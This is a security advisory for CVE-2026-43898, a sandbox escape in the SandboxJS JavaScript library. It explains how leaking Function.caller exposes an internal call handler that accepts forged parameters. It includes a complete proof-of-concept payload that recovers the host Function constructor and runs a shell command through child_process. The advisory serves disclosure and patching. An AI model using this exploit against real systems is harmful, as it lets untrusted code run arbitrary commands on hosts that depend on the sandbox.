CVE-2026-43898

Description

### Summary Sandbox-defined functions expose `Function.caller`, allowing sandboxed code to recover the internal `LispType.Call` runtime callback. That callback can then be invoked with attacker-controlled fake context and obj values to extract blocked host statics, recover the real host Function constructor, and execute arbitrary host JavaScript. ### Details The vulnerability is in the property access logic registered via `addOps` in [prop.ts](https://github.com/nyariv/SandboxJS/blob/1e6785658c94f5f2fb8e4a02cfcf1e7821b8be7f/src/executor/ops/prop.ts#L10). Sandboxed code could access the `caller`, `callee`, and `arguments` properties on functions. In the CommonJS build, this allowed sandboxed code to read `Function.caller` and leak a privileged internal `LispType.Call` callback. In [executorUtils.ts](https://github.com/nyariv/SandboxJS/blob/1e6785658c94f5f2fb8e4a02cfcf1e7821b8be7f/src/executor/executorUtils.ts#L239-L282) `createFunction()` constructs normal host JS functions, and because these are ordinary host functions, sandbox code can observe: ```js function f(){ return f.caller } ``` That leaks the host-side callback that invoked the sandbox function. This leaked callback is the internal `LispType.Call` op, which is registered in [call.ts](https://github.com/nyariv/SandboxJS/blob/1e6785658c94f5f2fb8e4a02cfcf1e7821b8be7f/src/executor/ops/call.ts#L16-L17). The escape was possible because the `LispType.Call` handler accepts a **params** object from the attacker and uses its fields without authenticating that they came from the executor. if you looked at those branches [call.ts:47](https://github.com/nyariv/SandboxJS/blob/1e6785658c94f5f2fb8e4a02cfcf1e7821b8be7f/src/executor/ops/call.ts#L47-L55), [call.ts:70](https://github.com/nyariv/SandboxJS/blob/1e6785658c94f5f2fb8e4a02cfcf1e7821b8be7f/src/executor/ops/call.ts#L70), [call.ts:149](https://github.com/nyariv/SandboxJS/blob/1e6785658c94f5f2fb8e4a02cfcf1e7821b8be7f/src/executor/ops/call.ts#L149-L153). This means the attacker controls `obj.context`, `obj.prop`, `obj.get`, `context.evals.get` and `a`. This can lead to direct invocation of an internal primitive with forged operands ### PoC ```js const sandb = require('@nyariv/sandboxjs').default; const sand = new sandb(); const payload = ` const callOp = (function fn() { return fn.caller; })(); function makeContext(capture = () => {}) { return { ctx: { options: 0 }, evals: { get: capture } }; } function leakStatic(obj, prop) { let leaked; callOp({ done() {}, a() {}, b: [], obj: { context: obj, prop, get() {} }, context: makeContext((fn) => (leaked = fn, () => 1)) }); return leaked; } function callDirect(fn, args) { let value; callOp({ done(_, result) { value = result; }, a() {}, b: args, obj: fn, context: makeContext() }); return value; } callDirect(leakStatic(Object, 'defineProperty'), [ leakStatic, 'call', callDirect(leakStatic(Object, 'getOwnPropertyDescriptor'), [ callDirect(leakStatic(Object, 'getPrototypeOf'), [() => 0]), 'constructor' ]) ]); let hostFn; callOp({ done(_, result) { hostFn = result; }, a: leakStatic, b: [], obj: { context: 'return process.getBuiltinModule("child_process").execSync("whoami").toString()', get() {} }, context: makeContext() }); return hostFn(); `; console.log(sand.compile(payload)().run()); ``` ### Impact _Sandbox escape leads to RCE_